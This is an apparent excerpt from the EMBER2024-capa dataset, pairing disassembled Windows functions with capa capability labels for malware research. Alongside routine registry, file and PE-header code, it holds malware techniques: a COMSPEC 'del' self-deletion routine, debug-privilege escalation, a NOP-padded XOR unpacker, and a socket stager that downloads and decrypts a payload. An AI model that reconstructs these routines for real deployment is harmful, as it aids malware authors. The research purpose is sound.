joyce8/EMBER2024-capa huggingface dataset:
Function at 0xdbaf10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0xdcf9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0xdbb002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00dbedff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0xdbb002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.00db66e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.00dbf20b
push 0x10
call fcn.00dbf1d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0xdbafc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.00dab1c0
jmp 0xdbafc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00dbab80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0xdbaff0
mov ecx, edi
call fcn.00dab2c0
push edi
call fcn.00dbf1c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0xdbb021
inc ebx
cmp ebx, 0x20
jb 0xdbaf3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0xdbc250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xdd0808
push 0xdc0288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xdbc329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xdbc329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00dbf1d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xdbc329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xdbc329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xdbc32c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00dbc351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xdbcd20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xdbcd58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xdbcd60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xdbcd94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xdbcd94
push eax
push esi
call fcn.00dbf20b
add esp, 8
pop esi
ret 0x10

Function at 0xdbcda0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xdbce22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xdbce15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xdd5320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00dbedff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xdbcdda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xdbce30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xdbcec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xdbceb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xdd5320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00dbedff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xdbceab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xdbce6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xdbd000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xdbd131
push esi
call fcn.00dc0145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00daf080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xdbd131
push 0
push ebp
call fcn.00daf3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00daf260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xdbd08b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00daf2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xdbd121
push 0xdd5918
push edi
call fcn.00dbe3f0
push eax
push ebx
push esi
call fcn.00dbcf60
push 0xdd58f8
push edi
call fcn.00dbe3f0
push eax
push ebx
push esi
call fcn.00dbcf60
push 0xdd58d8
push edi
call fcn.00dbe3f0
push eax
push ebx
push esi
call fcn.00dbcf60
push 0xdd58c0
push edi
call fcn.00dbe3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00dbcf60
push 0xdd58a0
push edi
call fcn.00dbe3f0
push eax
push ebx
push esi
call fcn.00dbcf60
push 0xdd5888
push edi
call fcn.00dbe3f0
push eax
push ebx
push esi
call fcn.00dbcf60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xdbe1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00dbe140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00dbe140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00dbe140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00dbe140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xdbebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xdbec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xdd087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xdbec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xdbec52
xor eax, eax
pop esi
leave
ret 4
Function at 0x40476f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 4]
push 0x40c034
push eax
call fcn.00404bb7
test eax, eax
je 0x4047ba
push 2
push 0xffffffffffffffbc
push dword [ebp - 4]
call sub.MSVCRT.dll_fseek
push dword [ebp - 4]
mov esi, dword [ebp + 8]
push 0x44
push 1
push esi
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp dword [esi], 0x123c2ab
je 0x4047be
push dword [ebp - 4]
call sub.MSVCRT.dll_fclose
pop ecx
xor eax, eax
jmp 0x404813
push edi
push dword [esi + 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0
mov edi, eax
push dword [esi + 0xc]
push dword [ebp - 4]
call sub.MSVCRT.dll_fseek
push dword [ebp - 4]
push dword [esi + 8]
push 1
push edi
call sub.MSVCRT.dll_fread
mov eax, dword [esi + 8]
add esp, 0x20
jmp 0x4047fb
mov cl, byte [edi + eax]
mov dl, byte [edi + eax - 1]
xor dl, cl
add dl, cl
mov byte [edi + eax - 1], dl
dec eax
cmp eax, 1
ja 0x4047ec
push dword [ebp - 4]
call sub.MSVCRT.dll_fclose
mov eax, dword [ebp + 0xc]
pop ecx
mov dword [eax], edi
mov eax, dword [esi + 8]
pop edi
pop esi
leave
ret 8
Function at 0x404aeb
Capabilities:
Delete file
Get file attributes
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
mov esi, 0x40c030
push edi
push esi
push dword [ebp + 0xc]
call sub.MSVCRT.dll_fopen
xor ebx, ebx
mov edi, eax
pop ecx
inc ebx
test edi, edi
pop ecx
jne 0x404b44
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test bl, al
je 0x404b26
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x404b40
push esi
push edi
call sub.MSVCRT.dll_fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jne 0x404b44
xor eax, eax
jmp 0x404bb0
mov eax, dword [ebp + 0x10]
mov esi, 0x400
jmp 0x404b71
push esi
push ebx
push eax
call sub.MSVCRT.dll_fread
push edi
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x404]
push ebx
push eax
call sub.MSVCRT.dll_fwrite
mov eax, dword [ebp + 0x10]
add esp, 0x20
sub eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp + 0x10], eax
cmp eax, esi
lea eax, [ebp - 0x404]
jg 0x404b4e
push dword [ebp + 0x10]
push ebx
push eax
call sub.MSVCRT.dll_fread
push edi
push eax
lea eax, [ebp - 0x404]
push ebx
push eax
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x24
push 0x26
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4053fb
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40553f
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x40553f
lea eax, [ebp - 0x360]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40553f
lea eax, [ebp - 0x25c]
push str.__c_del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40552a
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
jmp 0x405541
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405546
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push 0x80
push eax
call ebx
lea eax, [ebp - 0x108]
push 0x5c
push eax
call sub.MSVCRT.dll__mbsrchr
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x4055de
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strlen
lea ecx, [ebp - 0x108]
sub ecx, edi
inc edi
lea esi, [eax + ecx - 5]
lea eax, [ebp - 0x20c]
push esi
push edi
push eax
call sub.MSVCRT.dll__mbsnbcpy
mov ecx, dword [ebp - 4]
add esp, 0x10
and byte [ebp + esi - 0x20c], 0
lea eax, [ebp - 0x20c]
push 0
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00405063
pop esi
lea eax, [ebp - 0x108]
push 0x40c238
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea ecx, [ebp - 0x108]
sub ecx, 3
add eax, ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x108]
pop ecx
push 0x80
push eax
call ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.004053fb
pop edi
pop ebx
leave
ret
Function at 0x414f6f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00415300
mov ebx, esp
lea eax, [ebp - 0x24]
push 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x414fc8
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
call fcn.00415023
dec eax
neg eax
sbb eax, eax
and ax, 0x1000
add eax, 0x11000
add eax, edi
cmp esi, eax
jae 0x414fcc
xor eax, eax
jmp 0x41501b
call fcn.00415023
cmp eax, 1
je 0x414ffc
cmp esi, edi
jbe 0x414feb
mov eax, esi
push 0x4000
sub eax, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x1000
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call fcn.00415023
dec eax
lea ecx, [ebp - 8]
neg eax
sbb eax, eax
push ecx
and eax, 0x103
inc eax
push eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x26110949
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x308030cf
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401129
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x413008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.00401000
push 0x40c
xor esi, esi
mov dword [ebp - 0x414], 0x22
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00401e00
add esp, 0xc
lea eax, [ebp - 0x412]
mov edi, 0x207
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401248
cmp eax, edi
jae 0x401248
lea eax, [ebp - 0x412]
push eax
lfence
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0x412]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.MicrosoftEdgeUpdate.exe
lea eax, [ebp - 0x412]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x401248
push str.___ondemand
push 0x208
lea eax, [ebp - 0x414]
push eax
call fcn.00401053
test eax, eax
jns 0x4011de
lfence
jmp 0x40124d
push 0x40
lea eax, [ebp - 0x454]
mov dword [ebp - 0x458], 0x44
push esi
push eax
call fcn.00401e00
xor eax, eax
lea edi, [ebp - 0x468]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0x458]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401248
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40124d
call fcn.00401038
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004014ba
leave
ret 0x10

Function at 0x401996
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019d5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019d5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019d5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019d5
cmp dword [ecx + 0x74], 0xe
jbe 0x4019d5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40b3e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b40d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b40d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x46fd30]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
push esi
mov eax, 0x4710a4
push edi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401025
mov edi, dword [0x4710c8]
sub eax, edx
mov esi, eax
lea esi, [esi + edi - 1]
xor eax, eax
test esi, esi
jle 0x401067
mov cl, byte [edi + 0x4710b6]
mov dl, byte [edi + 0x4710b5]
mov edi, edi
mov bl, byte [eax + 0x4710a4]
sub bl, cl
xor bl, dl
mov byte [eax + 0x4710a4], bl
add eax, 1
cmp eax, esi
jl 0x401050
lea esi, [edi + edi + 8]
xor eax, eax
test esi, esi
jle 0x401097
mov cl, byte [edi + 0x4710b6]
mov dl, byte [edi + 0x4710b5]
lea ecx, [ecx]
mov bl, byte [eax + 0x471098]
sub bl, cl
xor bl, dl
mov byte [eax + 0x471098], bl
add eax, 1
cmp eax, esi
jl 0x401080
push 0x471098
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [0x4710c8]
lea edi, [eax + 0xa]
xor esi, esi
test edi, edi
mov dword [esp + 0x14], ebx
jle 0x4010dd
mov cl, byte [eax + 0x4710b6]
mov dl, byte [eax + 0x4710b5]
mov bl, byte [esi + 0x4710bc]
sub bl, cl
xor bl, dl
mov byte [esi + 0x4710bc], bl
add esi, 1
cmp esi, edi
jl 0x4010c2
mov ebx, dword [esp + 0x14]
lea esi, [eax - 1]
cmp esi, edi
jge 0x401111
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ebx, [ebx]
movsx eax, byte [esi + 0x4710bc]
push eax
push ebx
call edi
mov dword [esi*4 + 0x473a40], eax
mov eax, dword [0x4710c8]
add esi, 1
lea ecx, [eax + 0xa]
cmp esi, ecx
jl 0x4010f0
add al, 1
movzx ax, al
xor ecx, ecx
mov ch, al
lea edx, [esp + 0x28]
push edx
or ecx, eax
push ecx
call dword [0x473a40]
mov edx, 0x74f2
sub edx, dword [0x4710c8]
mov word [esp + 0x18], 2
push edx
call dword [0x473a5c]
push 0x4710a4
mov word [esp + 0x1e], ax
call dword [0x473a60]
push 6
push 1
push 2
mov dword [esp + 0x28], eax
call dword [0x473a4c]
mov edi, eax
push 0x10
lea eax, [esp + 0x1c]
push eax
push edi
call dword [0x473a50]
mov eax, str.empsss
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x401180
push 0
sub eax, ecx
push eax
push str.empsss
push edi
call dword [0x473a48]
push 0
mov ecx, 5
sub ecx, dword [0x4710c8]
lea edx, [esp + 0x14]
push ecx
push edx
push edi
mov dword [esp + 0x20], 0
call dword [0x473a44]
mov eax, dword [esp + 0x10]
xor esi, esi
test eax, eax
je 0x4011e3
push 0
sub eax, esi
push eax
lea eax, [esi + 0x424950]
push eax
push edi
call dword [0x473a44]
add esi, eax
mov eax, dword [esp + 0x10]
cmp esi, eax
jne 0x4011c6
mov edi, dword [0x4710c8]
movsx esi, byte [0x4710b6]
mov ecx, 0x4710b7
sub ecx, edi
movsx edx, byte [ecx]
mov ecx, dword [edx + 0x424950]
sub esi, edi
lea edx, [ecx + edi - 1]
add esi, 0x424955
xor eax, eax
test edx, edx
jle 0x401231
movzx ecx, byte [edi + 0x4710b6]
sub byte [eax + esi], cl
mov cl, byte [eax + esi]
mov bl, byte [edi + 0x4710b5]
xor bl, cl
mov byte [eax + esi], bl
add eax, 1
cmp eax, edx
jl 0x401212
mov ecx, dword [esp + 0x1bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004131d4
mov esp, ebp
pop ebp
ret